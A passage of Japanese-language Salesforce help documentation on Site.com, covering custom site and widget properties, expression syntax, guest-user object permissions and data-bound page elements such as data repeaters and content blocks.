4. 種別を選択します。
5. デフォルト値を設定します。
6. プロパティを必須にする場合は、[必須] をクリックします。
プロパティを編集または削除するには、プロパティの上にマウスを置き、メ
ニュー を使用します。セクション名を編集するには、名前をダブルク
リックして変更します。

関連トピック:

カスタムサイトプロパティの概要
カスタムプロパティ種別
カスタムプロパティの設定
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カスタムプロパティの設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

スタイルシートやコードブロック、ウィジェット、HTML ページエディタ内で式
言語の構文を使用すれば、Web サイトのカスタムプロパティを使用できます。
カスタムコードまたはコンテンツブロックのサイトカスタムプロパティを参照
するには、構文 {!Site.expression_name}} を使用します。たとえば、
PhoneNumber という式名のカスタムプロパティを作成して、会社の電話番号を保
存するとします。コンテンツブロックで、「連絡先: {!Site.PhoneNumber}」
と入力します。このページが読み込まれたときに、{!Site.PhoneNumber} で表され
る値が置換され、ページには「連絡先: 1-800-667-6389」と表示されます。

メモ: 式名は大文字と小文字を区別します。
1. コードブロックやウィジェットなどの Web サイト要素を開きます。
2. 式を挿入する場所に移動します。
3. 「{!」と入力すると、

使用できるカスタムプロパティのリストが表示されます。
4. プロパティを選択してダブルクリックし、ページ上に挿入します。

例: 住所や商品の特定のフレーズなど時間の経過に伴って変化する可能性
のある値には、カスタムプロパティを設定しておくと役立ちます。式は単
なるプレースホルダであるため、[カスタムプロパティ] ビューでプロパティ
の値を更新すると、カスタムプロパティがページ上で参照されるすべての
場所で、値が自動的に更新されます。

関連トピック:

カスタムサイトプロパティの概要
カスタムサイトプロパティの作成
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ページテンプレートまたはウィジェットのカスタムプロパティの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ページテンプレートまたはウィジェットを作成する場合、テンプレートおよび
ウィジェットの再利用方法の柔軟性を高めるために、カスタムプロパティを追
加して、各プロパティの値と種別を指定できます。
次に、カスタムコードまたはコンテンツブロックをページテンプレートまたは
ウィジェットに追加すれば、式を使用してプロパティ値にアクセスできます。
式は、ページが読み込まれたときに情報に置き換えられるデータのプレースホ
ルダとして機能します。
その後、ユーザまたはユーザのチームがテンプレートからページを作成すると、
ページはテンプレートのコピーまたはインスタンスになります。同様に、ウィ
ジェットをページに追加すると、ウィジェットのインスタンスが作成されます。
インスタンスは編集できませんが、そのプロパティ値を更新することはできま
す。
式は単なるプレースホルダであるため、それらの値は、ページまたはウィジェッ
トの [プロパティ] ペインで値を更新すると自動的に更新されます。
また、関連プロパティをグループ化するセクションを作成することができます。これらのセクションは、[プ
ロパティ] ペインでプロパティがどのようにグループ化されるかを制御します。

例: たとえば、ページヘッダーを含めるために、コンテンツブロックをテンプレートに追加するとしま
す。この場合、ユーザがテンプレートからページを作成するときに、コンテンツブロック全体を編集す
るのではなく、ニーズに応じてテキストの一部を置換できるようにします。
pageSubjectというカスタムプロパティを追加して初期値を指定することで、代わりに次の式をコンテ
ンツブロックで使用できます。
Learn About {!pageSubject}

この操作により、チームメンバーは、ページの [プロパティ] ペインで [ページの件名] プロパティを更新
して ({!pageSubject} 式で表される値が自動的に更新される)、テンプレートから派生する任意のペー
ジの名前を変更できるようになります。

例: または、次の埋め込みコードを使用して YouTube ウィジェットを作成するとします。
<iframe width="560" height="315" src="//www.youtube.com/embed/hcUaN6XBTz4"
frameborder="0" allowfullscreen></iframe>

ただし、ウィジェットのインスタンスをページに追加するときに、表示する動画をユーザが指定します。
この場合、YouTubeというセクションを作成し、式の名前に「videoURL」を使用して「動画 URL」とい
う表示ラベルのカスタムプロパティを追加し、代わりに次のコードを使用できます。
<iframe width="560" height="315" src="{!videoURL}" frameborder="0"
allowfullscreen></iframe>
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これで、ユーザが YouTube ウィジェットをページに追加するときに、[プロパティ] ペインの YouTube セク
ションで「動画 URL」プロパティを更新して ({!videoURL} 式で表される値が自動的に更新される)、任
意の動画を指定できるようになりました。

関連トピック:

ウィジェットの概要
ページテンプレートまたはウィジェットへのカスタムプロパティの追加
カスタムプロパティ種別
式を使用した動的データの表示について

ページテンプレートまたはウィジェットへのカスタムプロパティの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページテンプレートまたはウィジェットを作成する場合、カスタムプロパティ
を追加して、各プロパティの値と種別を指定できます。
次に、カスタムコードまたはコンテンツブロックをページテンプレートまたは
ウィジェットに追加すれば、値のプレースホルダとして機能する式を使用して
プロパティ値にアクセスできます。自分または自分のチームがテンプレートか
らページを作成するか、ウィジェットのインスタンスをページに追加する場合
は、プロパティ値を更新してインスタンスを変更できます。
ページテンプレートまたはウィジェットを開いた状態で、次の手順を実行しま
す。
1. [ページ構造] ペインでテンプレートまたはウィジェットが選択されているこ

とを確認し、[プロパティ] ペインの [カスタムプロパティを編集] をクリック
します。

2. [新規プロパティ] をクリックします。
名前を変更できるデフォルトセクションがベースとなります。セクション
は、ウィジェットインスタンスまたはページの [プロパティ] ペインでプロパ
ティがどのようにグループ化されるかを制御します。

3. ウィジェットインスタンスまたはページの [プロパティ] ペインに表示される
表示ラベル (「動画 URL」など) を入力します。

4. 必要に応じて、自動追加された式の名前を更新します。
式の名前は、大文字と小文字が区別され、空白を含めることはできません。

5. プロパティの種別と値を指定します。
6. 必要に応じてプロパティを必須にします。
7. 必要に応じて、他のプロパティまたはセクションを追加します。項目を新し

い場所にドラッグして並び替えます。
8. カスタムプロパティを使用するには、[ページ要素] タブから [カスタムコード]または [コンテンツブロック]

ページ要素をページテンプレートまたはウィジェットにドラッグします。
9. 「{!videoURL}」 などの式を参照するには、{!expression_name} という構文を使用します。
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式は、ページの読み込み時にプロパティ値に置き換えられます。
10. 必要なテキストを追加し、変更内容を保存します。

たとえば、Check out our video at {!videoURL} です。

ヒント: 式言語を使用してカスタムコードまたはコンテンツブロックにプロパティの名前を入力し、カス
タムプロパティを作成することもできます。たとえば、コンテンツブロックに「{!videoHeight}」と入
力すると、プロパティ値を追加できる videoHeightという新しいプロパティがテンプレートまたはウィ
ジェットの [プロパティ] ペインに自動的に追加されます。

ウィジェットのプロパティを更新しても、変更内容はウィジェットインスタンスに反映されません。代わり
に、既存のインスタンスを最新バージョンに置き換える必要があります。
カスタムコードまたはコンテンツブロックで使用されているカスタムプロパティを削除する場合は、プロパ
ティの参照を必ず削除してください。

関連トピック:

ページテンプレートまたはウィジェットのカスタムプロパティの概要
カスタムプロパティ種別
式を使用した動的データの表示について
ウィジェットの作成

カスタムプロパティ種別

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

デザイナまたはサイト管理者がサイトブランドプロパティ、サイトカスタムプ
ロパティ、ウィジェットブランドプロパティ、ウィジェットカスタムプロパティ
を作成するときに、プロパティ種別を使用できます。

説明プロパティ種別

テキスト値を入力できます。テキスト

true (選択) または false (選択解除) 値を設定できます。チェックボックス

カラーピッカーから 1 つを選択するか、#333333などの
16 進値を入力して、色を指定できます。

色

サイト画像の参照、新しい画像のアップロード、画像へ
の URL の入力によって、画像を指定できます。

画像

HTML 値を入力できます。HTML

ピクセル、パーセント、em などの測定単位を入力でき
ます。たとえば、5px です。

単位

ユーザ定義のリストから値を選択できます。
選択リストに項目を追加するには、オプションのカンマ
区切りのリストを作成します。各オプションには表示ラ

選択リスト

ベルと値を付けます。たとえば、Label 1:Value 1,
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説明プロパティ種別

Label 2:Value 2 などです。オプションの値を追加しない場合は、表示ラ
ベルはデフォルトでその値として使用されます。
選択リストのデフォルトの選択肢を定義するには、形式
label:value:default を使用します。たとえば、Small:S:default,

Large:L です。

フォントを選択できます。フォント

関連トピック:

ページテンプレートまたはウィジェットへのカスタムプロパティの追加
カスタムサイトプロパティの作成
ブランドプロパティの作成

Site.com データサービスの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Site.comデータサービスは、標準およびカスタム Salesforceオブジェクトに接続で
きるようにする多くの機能を組み合わせています。組織のオブジェクトからデー
タを取得してサイトのページに動的に表示したり、または、顧客からデータを
収集して送信したりできます。また、Salesforce オブジェクトのデータを更新し
た場合、変更はライブサイトに自動的に反映されるため、サイトを更新する必
要がなくなります。
Site.com データサービスを使用する方法をいくつか示します。
• 商品のカタログを公開: 会社の商品を、組織から動的に引き出したモデル番

号や価格などの情報と共に一覧表示します。
• 会社のプレスリリースを投稿: 会社のプレスリリースを公開し、公開日によっ

て並び替えます。
• リアルター Web サイトを作成: 市区町村または価格で絞り込んだ現在のリス

トを表示します。
• 社員募集 Web サイトを作成: 公開サイトに求人情報を投稿して、訪問者が申し込み書と履歴書をオンライン

で登録できるようにします。
これらは、どのように機能するのでしょうか。いくつかのデータバインドページ要素を使用してデータを取得
および表示するか、サイト訪問者からデータを収集します。
データテーブルは、Salesforce オブジェクトに接続し、指定した検索条件に基づいてデータセットを取得した
り、1 つ以上のレコードをテーブルの行として表示したりします。
データの繰り返しおよびデータ要素を組み合わせて使用すると、標準およびカスタムオブジェクトへの接続、
データの取得、およびサイトのページへのデータの動的表示を行えます。データの繰り返しとデータ要素を一
緒に使用すると「繰り返しテンプレート」になり、1 つ以上のレコードをページに柔軟に表示できるようにな
ります。
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データ関数により、オブジェクトから取得したデータの計算を実行したり、その結果をページに表示したりで
きます。たとえば、オブジェクトの特定の項目について、データ関数を使用して、すべての返されたレコード
の合計値または平均値を算出できます。
ネストされた繰り返しでは、親-子リレーションを持つオブジェクトからデータを取得できます。
フォームおよびフォーム項目を組み合わせて使用すると、サイトの訪問者からデータを収集し、データを標準
またはカスタム Salesforce オブジェクトに登録することができます。Web-to-リードの作成、顧客の詳細情報の
取得、または商品やサービスのフィードバックの収集を行えます。

データサービスに関する考慮事項
• ゲストユーザが Salesforce オブジェクトのデータを参照または登録できるようにするには、オブジェクトの

データアクセス権限を設定する必要があります。
• アセットを使用する際、Site.comデータサービスを利用する最も簡単な方法は、ファイルを Web サイトにイ

ンポートし、標準またはカスタムオブジェクトにこれらのアセットへの相対 URL を保存することです。
「Salesforce オブジェクトで使用するためのアセットの保存」 (ページ 6115)を参照してください。

• サイトにデータバインドページ要素を追加してから、それが接続している Salesforce オブジェクトのデータ
型を変更すると (テキスト項目を選択リストに変更するなど)、データバインドページ要素は機能しなくな
ります。この場合、更新された項目を参照するようにデータバインドページ要素を再設定する必要があり
ます。

• データテーブル、データの繰り返し、またはデータ関数に接続されているオブジェクトのデータを更新す
ると、その変更は、ライブサイトに自動的に反映されます。これを制御するめに、選択リスト項目をオブ
ジェクトに追加して、レコードの有効化を承認するタイミングを指定できます。その後、その項目を使用
して、承認済み状況でレコードを絞り込んで、承認済みのレコードのみをライブサイトに表示できます。

Salesforce オブジェクトのデータアクセス権限の設定
Site.comで構築されたサイトは一般に公開されるため、訪問者はサイトに関連付けられているゲストユーザ
ライセンスを使ってサイトにアクセスします。
Salesforce オブジェクトで使用するためのアセットの保存
Site.comで作成された Web サイトは一般に公開されるため、サイト訪問者には、Salesforceオブジェクトに保
存されている画像やドキュメントを参照するために必要なセキュリティ権限がありません。これらを参照
できるのは認証されたユーザのみです。
データの繰り返しによるデータの動的取得
標準またはカスタム Salesforce オブジェクトに接続し、指定した検索条件に基づいてデータセットを取得す
るにはデータの繰り返しを使用します。データの繰り返しと、データ要素、カスタムコード、またはコン
テンツブロックを組み合わせて使用すると、1 つ以上のレコードをページに表示する「繰り返しテンプレー
ト」を作成できます。
ページへのフォームの追加
サイトの訪問者からデータを収集し、データを標準またはカスタムSalesforceオブジェクトに登録するには、
フォームを使用します。Web-to-リードの作成、顧客の詳細情報の取得、または商品やサービスのフィード
バックの収集を行えます。
デフォルトビュー、エラービュー、およびデータ無しビュー
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データ接続の修正

関連トピック:

関連オブジェクトでのデータアクセスの概要
データの繰り返しとデータテーブルへのページネーションの追加
デフォルトビュー、エラービュー、およびデータ無しビュー
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Salesforce オブジェクトのデータアクセス権限の設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ゲストユーザプロファイ
ルを編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

および

「プロファイルと権限
セットの管理」

および

「アプリケーションの
カスタマイズ」

Site.comで構築されたサイトは一般に公開されるため、訪問者はサイトに関連付
けられているゲストユーザライセンスを使ってサイトにアクセスします。
デフォルトでは、サイト訪問者は、アクティブな公開サイトで利用可能な、サ
イトのページやアセットなどの情報にアクセスできます。ただし、ゲストユー
ザが Salesforce オブジェクトのデータを参照または登録できるようにするには、
サイトのゲストユーザプロファイルでオブジェクトの権限を編集する必要があ
ります。それぞれのサイトには個別のゲストユーザライセンスがあるため、サ
イトごとに Salesforce オブジェクトへのゲストアクセスを制御できます。
サイトのゲストユーザプロファイルを編集する手順は、次のとおりです。
1. Site.com Studio の [概要] タブで、[サイトの設定] をクリックし、[サイト名のプ

ロファイル] をクリックします。または、データの繰り返し、データテーブ
ル、データ関数、またはフォームをページに追加する場合は、項目のダイア
ログボックスで [ゲストユーザのプロファイルに移動] をクリックします。

2. サイトのゲストユーザプロファイルで、データの繰り返し、データテーブ
ル、またはデータ関数によるデータの取得元である標準またはカスタムオブ
ジェクトに対する「参照」権限を有効にします。フォームによるデータの送
信先であるオブジェクトに対する「作成」権限を有効にします。デフォルト
で設定されていないすべての権限は、手動で設定する必要があります。

3. 必要に応じて、オブジェクトの項目レベルセキュリティを変更します。

関連トピック:

Salesforce オブジェクトで使用するためのアセットの保存
Site.com データサービスの概要
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Salesforce オブジェクトで使用するためのアセットの保存

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comで作成された Web サイトは一般に公開されるため、サイト訪問者には、
Salesforce オブジェクトに保存されている画像やドキュメントを参照するために
必要なセキュリティ権限がありません。これらを参照できるのは認証されたユー
ザのみです。
そのため、Site.com データサービスを利用する最も簡単な方法は、ファイルを
Site.comにインポートし、代わりに標準またはカスタムオブジェクトにこれらの
アセットへの相対 URL を保存することです。または、画像またはファイルが別
の場所でホストされていて、インターネットでいつでも使用できる場合は、絶
対 URL を使用できます。
たとえば、「カタログ」というカスタムオブジェクトを使用して、商品の詳細
と画像を表示する [カタログ] サイトページを作成するとします。[カタログ] サイ
トページの作成を開始する前に、次の処理を行います。
1. 商品の画像を Site.com サイトにインポートします。
2. [カタログ] オブジェクトで、画像の相対 URL を保存する項目を作成します ([画

像の URL] など)。
3. 商品レコードごとに、画像の相対パスを追加します。これはサイトに対する

相対 URL であるため、widget.png をサイトにアップロードする場合、相対
パスは /widget.png になります。URL では、大文字と小文字が区別されま
す。

次に、データテーブルまたはデータの繰り返しとデータ要素を [カタログ] サイ
トページに追加して商品データを表示すると、[画像の URL] 項目を参照して
ページに各商品の画像を動的に表示できます。

関連トピック:

Salesforce オブジェクトのデータアクセス権限の設定
Site.com データサービスの概要
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データの繰り返しによるデータの動的取得

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ゲストユーザプロファイ
ルを編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

および

「プロファイルと権限
セットの管理」

および

「アプリケーションの
カスタマイズ」

標準またはカスタム Salesforce オブジェクトに接続し、指定した検索条件に基づ
いてデータセットを取得するにはデータの繰り返しを使用します。データの繰
り返しと、データ要素、カスタムコード、またはコンテンツブロックを組み合
わせて使用すると、1 つ以上のレコードをページに表示する「繰り返しテンプ
レート」を作成できます。
ページにデータの繰り返しを追加する手順は、次のとおりです。
1. [ページ要素] ペインからページに [データの繰り返し] をドラッグします。
2. 接続先であるブジェクトを選択します。

メモ:

• サイト訪問者はゲストユーザライセンスを使用して公開サイトにア
クセスするので、Site.comユーザのドロップダウンリストにはゲスト
ユーザが使用できるオブジェクトのみが表示されます。他のオブジェ
クトを利用できるようにするには、「Salesforce オブジェクトのデー
タアクセス権限の設定」に移動して、関連するオブジェクトの「参
照」権限を有効化し、リストを更新します。

• コミュニティユーザのドロップダウンリストには、サイト訪問者に
は表示されないオブジェクトが表示される可能性があります。認証
された訪問者の場合、公開ページおよび非公開ページのオブジェク
トアクセスは、各自のユーザプロファイルで制御されます。認証さ
れていない訪問者の場合、公開ページのオブジェクトアクセスは、
サイトのゲストユーザプロファイルで制御されます。

3. 必要に応じて、[条件] でデータセットを絞り込む条件を選択します。どの条
件も選択しない場合、項目のすべてのデータが返されます。
a. 検索条件が適用される項目を選択します。[項目] ドロップダウンリストで

は、オブジェクトの項目に続けて、すべての親オブジェクトの項目が
parent_object_name.field_name 形式で表示されます。

b. 結果を絞り込む方法を制御する演算子を選択します。たとえば、完全一
致を返すには、[次の文字列と一致する] を選択します。

c. 検索条件の値のソースを選択します。たとえば、明示的な値を指定する
ために [固定値] を選択したり、クエリ文字列に渡される値を使用して
[URL クエリ文字列] を選択したりします。

d. 検索条件の値を設定します。クエリ文字列を使用している場合、クエリ
文字列を指定しないときにどのような処理を実行する必要があるかも指
定できます。

e. 必要に応じて、検索結果をさらに絞り込む検索条件を追加します。各条
件設定項目は AND 演算子を使用して併用できます。
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メモ: 結果を絞り込むために固定値を使用している場合、[接続プレビュー] セクションで戻されたレ
コードを参照できます。レコードのリストを更新するには、[プレビューを再読み込み] をクリックし
ます。

4. 並び替えでは、1 つ以上の項目で結果を昇順または降順のどちらで並び替えるかを指定できます。たとえ
ば、ユーザデータを含むオブジェクトを使用している場合は、まず性別、次に名前で結果を並び替えるこ
とができます。

5. [制限] では、返される結果の数を制限できます。たとえば、上位 5 件の結果のみに関心がある場合は、[結
果数を制限] 項目に「5」と入力します。

6. ページネーションを追加する場合は、[ページあたりの結果数] 項目にページあたりに表示する結果数を指
定します。

7. [保存] をクリックします。
次に、取得するデータを表示するには、データの繰り返しにデータ要素、カスタムコード、またはコンテンツ
ブロックを追加する必要があります。

データ要素を使用したデータの表示
データ要素を使用して、ページデータ接続またはデータの繰り返しによって取得したデータを表示します。
データ要素は、オブジェクトの項目にバインドされており、ページが読み込まれたときに項目のデータで
置き換えられるプレースホルダとして機能します。
カスタムコードを使用したデータの表示
データの繰り返しまたはページデータ接続にデータを表示するには、データ要素とコンテンツブロックだ
けでなく、カスタムコードを代替手段として使用することもできます。これは、テキストに従って項目デー
タを表示する場合には特に便利です。
コンテンツブロックを使用したデータの表示
データの繰り返しまたはページデータ接続にデータを表示するには、データ要素とカスタムコードだけで
なく、コンテンツブロックを代替手段として使用することもできます。これは、テキストに従って項目デー
タを表示する場合には特に便利です。
データテーブルによるデータの動的取得
標準またはカスタム Salesforce オブジェクトに接続し、指定した検索条件に基づいてデータセットを取得し
たり、1 つ以上のレコードをテーブルの行として表示するには、データテーブルを使用します。データテー
ブルの列は、データテーブルの接続先のオブジェクトの項目をバインドしています。各列のセルは、ペー
ジが読み込まれたときに、項目のデータに置き換えられるプレースホルダとして機能します。
データテーブルの列を編集する
データの繰り返しとデータテーブルへのページネーションの追加
データ関数の使用
データ関数では、標準またはカスタム Salesforce オブジェクトへの接続、返された結果の計算、ページへの
計算の表示を行います。たとえば、オブジェクトの特定の項目について、データ関数を使用して、すべて
の返されたレコードの合計値または平均値を算出できます。
ページデータ接続の概要
ページデータ接続を使用すると、サイト管理者およびデザイナは、Salesforce オブジェクトを使用している
ときに単一レコードの詳細ページを容易に作成できるようになります。
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ページデータ接続によるデータの取得
Salesforce オブジェクトを操作する場合、単一レコードの詳細ページを作成するには、ページデータ接続を
使用します。
関連オブジェクトでのデータアクセスの概要
ネストされたデータの繰り返しを使用した関連オブジェクトのデータの表示
データの繰り返し、データテーブル、またはデータ関数を含むデータの繰り返しを使って、親オブジェク
トの子オブジェクトからデータを取得できます。外部のデータの繰り返しまたは親のデータの繰り返しは
取引先などのオブジェクトに接続しています。つまり、内部のデータの繰り返し、データテーブル、また
はデータ関数を使用すると、取引先責任者などの子オブジェクトに自動的に接続できます。これは、ネス
トされたデータの繰り返しとも呼ばれます。
キャッシュを使用したパフォーマンスの改善
データ検索条件
式を使用した動的データの表示について
Site.comでは、式言語を使用して、データを動的に表示します。式は、ページが読み込まれたときに情報に
置き換えられるデータのプレースホルダとして機能します。データバインドページ要素またはカスタムウィ
ジェットプロパティを使用している場合、式を使用して、ページにデータを表示する方法をカスタマイズ
できます。
データ検索条件の例

関連トピック:

デフォルトビュー、エラービュー、およびデータ無しビュー
キャッシュを使用したパフォーマンスの改善
データ検索条件の例
Site.com データサービスの概要
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データ要素を使用したデータの表示

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

データ要素を使用して、ページデータ接続またはデータの繰り返しによって取
得したデータを表示します。データ要素は、オブジェクトの項目にバインドさ
れており、ページが読み込まれたときに項目のデータで置き換えられるプレー
スホルダとして機能します。
データの繰り返しとデータ要素を一緒に使用すると、1 つ以上のレコードをペー
ジに表示する「繰り返しテンプレート」になります。ページデータ接続とデー
タ要素を一緒に使用すると、1 つのレコードからデータが表示されます。
データ要素を使用すると、プレーンテキスト、書式設定済みテキスト (日付およ
び数字)、または画像を表示できます。また、データ要素にハイパーリンクを追
加すると、サイト訪問者が詳細説明などの他のページに移動したり、サイト訪
問者の選択に基づいてページまたはデータの繰り返しに表示するデータを更新
したりできます。「データ検索条件の例」 (ページ 6143)を参照してください。
ページを開いた状態で、次の手順を実行します。
1. [ページ要素] ペインからデータの繰り返しに[データ要素]をドラッグします。

または、ページにページデータ接続がある場合は、[データ要素] ページ要素
を直接ページキャンバスにドラッグします。

2. 表示する項目を選択します。項目のデータの表示方法をカスタマイズするに
は、[カスタマイズ] をクリックします。

メモ: リストの最初に表示されるオブジェクトの項目に続けて、すべて
の親オブジェクトの項目が parent_object_name.field_name形式で
表示されます。

3. 表示の種類を選択します。

説明オプション

項目のデータをプレーンテキストと
して表示できます。

テキスト

日付、時間、通貨を使用している場
合は、複数のテキスト表示形式から
選択できます。

書式設定済みテキスト

項目に画像 URL が含まれる場合は、
項目のデータを画像として表示でき

画像

ます。URL は絶対またはサイトに対す
る相対のどちらでも使用できます。
代替テキストとして使用する項目を
選択したり、カスタムテキストを入
力することもできます。
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4. ハイパーリンクを作成するには、[ハイパーリンクを追加] をクリックします。作成しない場合、ステップ
8 に進みます。

5. リンクの種類を選択します。

説明オプション

次の方法で、Web ページにリンクできます。URL

• サイトにアップロードした PDF の相対 URL を保存
する項目など、参照する項目を選択する。

• 参照する項目を選択して、[カスタマイズ] をク
リックして絶対 URL を追加するか、URL クエリ文
字列などのカスタムリンクを作成する。

データ型と項目を選択して、サイト内のページ、画
像、またはファイルにリンクできます。(項目リスト

サイトの項目

が表示されない場合は、URL項目にカーソルを置い
てキーボードの Down キーを押します)。
たとえば、URL クエリ文字列を作成して、URLをカス
タマイズすることもできます。

受信者のアドレスおよびメッセージの件名と本文と
入力して、メールメッセージにリンクできます。
差し込み項目を使用して、オブジェクトの項目にア
クセスできます。たとえば、オブジェクトに [メー

メール

ル]項目がある場合、[メールアドレス] テキストボッ
クスに {!email} などの差し込み項目を入力しま
す。
リンクがクリックされると、ユーザのメールクライ
アントで、[宛先:] 項目に適切なメールアドレスが追
加された新規メッセージウィンドウが開きます。

6. 必要に応じて、必要な項目を選択してツールチップを入力するか [カスタマイズ] をクリックしてカスタム
テキストを追加します。
リンクにマウスポインタを置くと、ポップアップとしてツールチップが表示されます。

7. URL またはサイト内の項目にリンクしている場合、項目を開く場所を指定します。

説明オプション

ポップアップウィンドウに項目を読み込みます。こ
のオプションを選択すると、ポップアップのタイト

ポップアップウィンドウ

ルを設定し、表示されるオプションを使用して外観
およびサイズを制御できます。
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説明オプション

名前のないブラウザウィンドウに項目を読み込みま
す。

新規ウィンドウ (_blank)

同じフレームまたはウィンドウのリンクとして項目
を読み込みます。これは、デフォルト設定です。

同じウィンドウ (_self)

最上位の親フレームセットまたはリンクを含むフ
レームのウィンドウに項目を読み込みます。

最上位ウィンドウ (_top)

親フレームセットまたはリンクを含むフレームの
ウィンドウに項目を読み込みます。

親ウィンドウ (_parent)

8. [保存] をクリックします。
データ要素が、差し込み項目としてページに表示されます。出力をテストするには、ページをプレビューしま
す。

関連トピック:

データの繰り返しによるデータの動的取得
ページデータ接続によるデータの取得
カスタムコードを使用したデータの表示
コンテンツブロックを使用したデータの表示

6121

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



カスタムコードを使用したデータの表示

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

データの繰り返しまたはページデータ接続にデータを表示するには、データ要
素とコンテンツブロックだけでなく、カスタムコードを代替手段として使用す
ることもできます。これは、テキストに従って項目データを表示する場合には
特に便利です。
ページを開いた状態で、次の手順を実行します。
1. [カスタムコード] ページ要素を [ページ要素] ペインからデータの繰り返しに

ドラッグします。または、ページにページデータ接続がある場合は、[カスタ
ムコード] ページ要素を直接ページキャンバスにドラッグします。

2. データの繰り返しまたはページが接続されているオブジェクトの項目にアク
セスするには、「{!」と入力し、表示する式をダブルクリックします。

メモ: リストの最初に表示されるオブジェクトの項目に続けて、すべて
の親オブジェクトの項目が parent_object_name.field_name形式で
表示されます。

3. 必要な式またはテキストを追加します。次に例を示します。

To contact {!Name}, call {!Phone}.

ここで、{!Name} と {!Phone} は、各レコードの [名前] および [電話] 項目値のプレースホルダです。

4. [保存 & 閉じる] をクリックします。

関連トピック:

データの繰り返しによるデータの動的取得
ページデータ接続によるデータの取得
コンテンツブロックを使用したデータの表示
データ検索条件の例
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コンテンツブロックを使用したデータの表示

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

データの繰り返しまたはページデータ接続にデータを表示するには、データ要
素とカスタムコードだけでなく、コンテンツブロックを代替手段として使用す
ることもできます。これは、テキストに従って項目データを表示する場合には
特に便利です。
ページを開いた状態で、次の手順を実行します。
1. [コンテンツブロック] ページ要素を [ページ要素] ペインからデータの繰り返

しにドラッグします。または、ページにページデータ接続がある場合は、[コ
ンテンツブロック] ページ要素を直接ページキャンバスにドラッグします。

2. 式を使用して、表示する項目の名前を入力します。たとえば、{!Name} で
す。

メモ: リストの最初に表示されるオブジェクトの項目に続けて、すべて
の親オブジェクトの項目が parent_object_name.field_name形式で
表示されます。

3. 必要な式またはテキストを追加します。次に例を示します。
{!Name} さんに連絡するには、{!Phone} に電話をかけます。
ここで、{!Name} と {!Phone} は、各レコードの [名前] および [電話] 項
目値のプレースホルダです。
式は、コンテンツブロックにハイパーリンクを追加する場合にも使用できま
す。

4. [保存] をクリックします。

関連トピック:

データの繰り返しによるデータの動的取得
ページデータ接続によるデータの取得
カスタムコードを使用したデータの表示
データ要素を使用したデータの表示
データ検索条件の例
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データテーブルによるデータの動的取得

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ゲストユーザプロファイ
ルを編集する
• [Site.com

